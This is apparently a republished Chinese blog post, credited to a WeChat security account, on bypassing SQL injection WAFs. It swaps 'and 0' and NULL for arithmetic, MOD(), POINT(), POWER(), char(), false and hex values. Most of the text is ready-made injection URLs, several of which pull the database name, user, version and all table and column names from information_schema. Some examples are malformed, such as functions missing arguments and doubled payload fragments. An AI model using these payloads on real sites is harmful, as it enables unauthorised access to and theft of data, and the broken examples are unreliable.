通过 SQL 函数绕过 SQL 注入 WAF 的案例研究

渗透技巧 2年前 (2022) admin
814 0 0


通过 SQL 函数绕过 SQL 注入 WAF 的案例研究


使用 And 0 的传统方式


        And 0 的普通用法很容易被 WAF 检测到并立即触发它,因此无法使用该查询。下面的示例描述了在 SQL 注入中使用 false 值的传统方式。



And 1=0And falseAnd 0And 1And 50=60Any number that are not the same will equal to (0, false, null)kleiton0x7e通过 SQL 函数绕过 SQL 注入 WAF 的案例研究


使用 And 0 的另一种方法


        以下方法是其各自的 SQL 支持的新发现的查询,作为声明 false、null 或 0 值的新方法。


1) 任何等于 0 的数学/算术逻辑问题  


And 1*0And 1-1And 0/1  


例如:


http://website.com/index.php?id=1and 1*0 order by 10


2) 使用MOD()



 SELECT mod(102);  


使用的 mod() 函数将输出为 0

例如:

http://website.com/index.php?id=1 and mod(29,9) Order by 10



3) 使用POINT()



 SELECT point(299); 


例如:

http://website.com/index.php?id=1 and point(29,9) Order by 10


4) 使用POWER()



SELECT power(5,5); 


例如:


http://website.com/index.php?id=1 and power(5,5) Order by 10


非法参数数据类型


        错误通知非法参数数据类型INT和操作’=’的行,与条件中包含的列的数据类型有关。由于许多原因,可能会出现此问题。


1) 用于操作MOD



% = Modulo


例如:


http://website.com/index.php?id=1 % point(29,9) Order by 10–


2) 用于操作&


& = Bitwise And&& = Logical And  


例如:

http://website.com/index.php?id=1 && point(29,9) Order by 10–


3) 用于操作


 

| = Bitwise OR|| = Logical OR, sometimes use for Concatanation  


例如:


http://website.com/index.php?id=1 || point(29,9) Order by 10


使用 Null 的传统方式

        

        Null 的普通用法很容易被 WAF 检测到并立即触发它,因此无法使用该查询。下面的示例描述了在 SQL 注入中使用 false 值的传统方式。


Union Select null, null, null, null


使用 Null 的另一种方法


1) 使用0

 

UNION SELECT 0,0,0,0


例如:



http : //website.com/index.php?id =1 div 0 Union Select 0 , 0 , 0 , 0(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA), 0 , 0 –+”


2)使用



UNION SELECT false,false,false,false


例如:


http : //website.com/index.php?id =1 div false Union Select false , false , false , false,SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA), false – +


3) 使用char()



UNION SELECT char(null),char(null),char(null),char(null)UNION SELECT char(false),char(false,char(false),char(false)UNION SELECT char(0),char(0),char(0),char(0)UNION SELECT char(0x4e554c4c),char(0x4e554c4c),char(0x4e554c4c),char(0x4e554c4c)


例如:

http://website.com/index.php?id=1 div char(false) Union Selectchar(false) div char(false) Union Select char(false),char(false),char(false),char(false),concat(0x222f3e,0x3c62723e,0x3c62723e,’’,’Database :: ‘,database(),0x3c62723e,’User ::’,user(),0x3c62723e,’Version ::’,version(),0x3c62723e,user(),make_set(6,@:=0x0a, (select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),0x3c62723e),char(false)–+”,char(false),char(false),char(false),char(false),char(false)–+


4) 使用算术逻辑运算符


 

UNION SELECT (0*1337-0),(0*1337-0),(0*1337-0),(0*1337-0)UNION SELECT 34=35,34=35,34=35,34=35   



例如:


http://website.com/index.php?id=1 div (0*1337-0) Union Select "(0*1337-0) div (0*1337-0) Union Select (0*1337-0),(0*1337-0),(0*1337-0),(0*1337-0),concat(0x222f3e,0x3c62723e,0x3c62723e,'<br>','Database ::',database(),0x3c62723e,'User :: ',user(),0x3c62723e,'Version ::',version(),0x3c62723e,user(),make_set(6,@:=0x0a, (select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),0x3c62723e),(0*1337-0)--+",(0*1337-0),(0*1337-0), (0*1337-0),(0*1337-0),(0*1337-0)--+


使用 0xHEX 值绕过静态 Web 应用程序防火墙


        由于 0xHEX 值在 SQL 查询和注入负载中被接受并广泛使用,因此它是绕过基于静态的防火墙的好方法。使用这种技术,可以避免使用诸如NULLfalse或 ‘ (单引号)之类的词。下面是现有的有效载荷,但它们各自的值被转换为 0xHEX 格式。

SELECT CHAR(NULL); → SELECT CHAR(0x4e554c4c);SELECT CHAR(0) → SELECT CHAR(0x30);SELECT MOD(29, 9); → SELECT MOD(0x3239, 0x34);SELECT POINT(29, 9); → SELECT POINT(0x3239, 0x39);






原文始发于微信公众号(Khan安全攻防实验室):通过 SQL 函数绕过 SQL 注入 WAF 的案例研究

版权声明:admin 发表于 2022年1月11日 上午1:06。
转载请注明:通过 SQL 函数绕过 SQL 注入 WAF 的案例研究 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...